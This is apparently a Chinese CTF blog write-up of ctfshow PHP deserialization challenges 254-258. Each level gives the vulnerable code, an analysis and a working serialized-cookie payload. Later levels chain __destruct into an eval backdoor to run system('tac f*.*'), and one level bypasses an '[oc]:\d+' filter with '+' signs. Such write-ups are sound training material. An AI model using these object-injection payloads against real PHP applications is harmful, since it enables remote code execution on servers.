ctfshow-反序列化关卡详解分析

254-对象引用执行逻辑

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

//分析:
if(isset($username) && isset($password)){
        //isset判断函数是否为空,进入下一步
    $user = new ctfShowUser();
        //调用ctfShowUser
    if($user->login($username,$password)){
        //调用$user(即ctfShowUser())的login类,为真进入下一步
        if($user->checkVip()){
        //调用$user 的checkVip()类
            $user->vipOneKeyGetFlag();
        //同上
        }
    }else{
        echo "no vip,no flag";
    }

条件:

1、调用对象 vipOneKeyGetFlag

2、isVip为真

payload:/?username=xxxxxx&password=xxxxxx

255-反序列化变量修改

class ctfShowUser
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
    public $isVip = false;

    public function checkVip()
    {
        return $this->isVip;
    }

    public function login($u, $p)
    {
        return $this->username === $u && $this->password === $p;
    }

    public function vipOneKeyGetFlag()
    {
        if ($this->isVip) {
            global $flag;
            echo "your flag is " . $flag;
        } else {
            echo "no vip, no flag";
        }
    }
}

$username = $_GET['username'];
$password = $_GET['password'];

if (isset($username) && isset($password)) {
    $user = unserialize($_COOKIE['user']);
    //$user是COOKIE反序列化后的值,其他的与上题思路一致

    if ($user->login($username, $password)) {
        if ($user->checkVip()) {
            $user->vipOneKeyGetFlag();
        }
    } else {
        echo "no vip,no flag";
    }
}

条件:

1、调用对象 vipOneKeyGetFlag

2、isVip为真

分析:

与254不同,这题login类调用成功 $isVip 也还是 false

所以就需要POP链构造

POP链:
class ctfShowUser
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
    public $isVip = true;
}

$a = new ctfShowUser();
echo urlencode(serialize($a));
//这里需要url编码一下,不然可能出错

 payload:

GET /?username=xxxxxx&password=xxxxxxCookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

256-反序列化参数修改

class ctfShowUser
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
    public $isVip = false;

    public function checkVip()
    {
        return $this->isVip;
    }

    public function login($u, $p)
    {
        return $this->username === $u && $this->password === $p;
    }

    public function vipOneKeyGetFlag()
    {
        if ($this->isVip) {
            global $flag;
            if ($this->username !== $this->password) {
                echo "your flag is " . $flag;
            }
        } else {
            echo "no vip, no flag";
        }
    }
}

$username = $_GET['username'];
$password = $_GET['password'];

if (isset($username) && isset($password)) {
    $user = unserialize($_COOKIE['user']);
    if ($user->login($username, $password)) {
        if ($user->checkVip()) {
            $user->vipOneKeyGetFlag();
        }
    } else {
        echo "no vip,no flag";
    }
}

分析:

与256基本一致,只是vipOneKeyGetFlag()下改了 $this->username !== $this->password 让u p不同
 

POP链构造

class ctfShowUser
{
    public $username = 'x';
    public $password = 'y';
    public $isVip = true;
}

$a = new ctfShowUser();
echo urlencode(serialize($a));

payload:

GET /?username=x&password=y

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

257-反序列化参数修改&对象调用逻辑 

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

分析:

从这题开始难度提升,与之前的不同,flag.php不能直接输出,有关键字eval,可以使用命令执行


exp:

class ctfShowUser
{
    private $username = 'xxxxxx';
    private $password = 'xxxxxx';
    private $isVip = false;
    private $class;

    public function __construct()
    {
        $this->class = new backDoor();
    }


}


class backDoor
{
    private $code='system("tac f*.*");';

    public function getInfo()
    {
        eval($this->code);
    }
}

$a = new ctfShowUser();
echo urlencode(serialize($a));

payload:

GET /?username=xxxxxx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A19%3A%22system%28%22tac+f%2A.%2A%22%29%3B%22%3B%7D%7D

258-反序列化参数修改&对象调用逻辑

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

分析:

与上一题基本一致,只是Cookie接收的地方出现过滤,OC后面的数字都被过滤,因为代码逻辑中1和+1含义一致,所以可以用+号绕过。

exp:

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';

    public function __construct(){
        $this->class=new backDoor();
    }

}

class backDoor{
    public $code="system('tac f*.*');";
    public function getInfo(){
        eval($this->code);
    }
}

$a = serialize(new ctfShowUser());
$b=str_replace('11','+11',$a);
$b=str_replace('8','+8',$b);
echo urlencode($b);

payload:

Cookie:user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A19%3A%22system%28%27tac+f%2A.%2A%27%29%3B%22%3B%7D%7D

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值